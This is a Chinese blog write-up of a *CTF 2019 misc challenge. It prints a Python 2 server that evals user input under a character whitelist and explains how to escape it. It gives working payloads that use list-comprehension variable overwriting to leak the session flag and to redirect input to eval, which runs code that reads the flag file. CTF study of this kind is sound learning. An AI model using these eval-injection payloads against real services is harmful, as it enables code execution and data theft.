前言
上个周末做的 *CTF,不得不说是个好比赛,菜鸡 Web 手学到了很多新的知识,后来因为要给国赛半决赛出题的原因,所以放了几天没有时间去总结,现在题目差不多完结了,就摸个鱼总结一下,就从有趣的 Misc 题目开始吧。
官方 writeup:https://github.com/sixstars/starctf2019
题目 socket 服务器就一个文件,代码如下:
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{[0-9a-zA-Z_[\]]+}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'
# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a - 1) + fib(a - 2)
# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {'log': flag()}
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input()
# get eventName and args from the RPC requests,
# like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
# except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'
这套代码是两个题目一起用的,其中 flag1 只需要打印 session 变量,而 flag2 则需要 RCE 或者文件读取。
简单审计一下代码,可以看到逻辑是这样的:
- sha1 验证码
- 将标准输入和错误输出放入一个变量中,然后置为 None,在恢复之前我们无法进行下一次输入
- 将我们输入的字符串按照 114514 进行分割
- 将 eval 第一部分得到一个函数,再将第二部分作为参数进行调用
看起来功能很强大,其实有几个限制:
- 有非法字符检测,所以我们只能输入数字、大小写字母、下划线和中括号
- 参数类型为 list
没有空格,没有等号,没有小括号,分割来的参数也只是元素为字符串的 list 而不是变量,似乎无从下手了啊。
但是 eval 的功能是无比强大的,虽然我们无法直接使用 eval 来进行输出,但是这里可以引入变量,而且还有中括号,是不是有什么 Python 黑魔法呢?只要我们可以在 eval 中覆盖掉 args,然后返回一个输出函数,这样我们就能拿到 flag1 了。
那自然是有的,首先是变量覆盖:
>>> a = 0
>>> for a in [1]:
... pass
...
>>> a
1
>>>
虽然没有等号,但是我们可以使用 for 来进行变量覆盖,那怎么绕过空格呢?答案是使用 Python 的特色写法—— list 生成器和中括号:
>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1
这行代码的意思是遍历 [1] 这个 list ,赋值给 a,然后再返回一个 str,因为没有执行的原因,所以返回的是一个函数:
>>> [[str][0]for[a,b]in[[1,2],['a','b']]]
[<type 'str'>, <type 'str'>]
因为遍历了两次的原因,所以返回的 list 中有两个 str,为了绕过函数和 for 之间的空格,这里使用了 list 的写法:
>>> [input][0]
<built-in function input>
这样一来我们就可以进行变量覆盖了,所以 payload 为:
[[input][0]for[args]in[[session]]][0]114514x
或者使用 str 函数也是可以的。
那第二题也很简单了,首先我们只要在将 PoW 覆盖为 switch_safe_mode(或者调用 reload 重载 sys),就可以绕过标准输入被替换掉了的问题,可以进行第二轮的输入。
那么要怎么读取 flag 文件呢?我们是不是可以绕开黑名单?
有了变量覆盖,我们能做到的事情大大增加了。观察代码可以发现,我们可以将 raw_input 覆盖为 input 函数(input = eval(raw_input)),这样我们就可以在黑名单过滤之前进行代码执行了。
payload:
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
第一句很好理解,因为嵌套了两次 for 所以是两层结构的 list,第二句在 input 中经过 eval 之后,会将 session 覆盖为 flag,然后返回一个字符:
[[str]for[args]in[[session]]][0][0]114514
就回到了第一题的情况了。
Orz
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!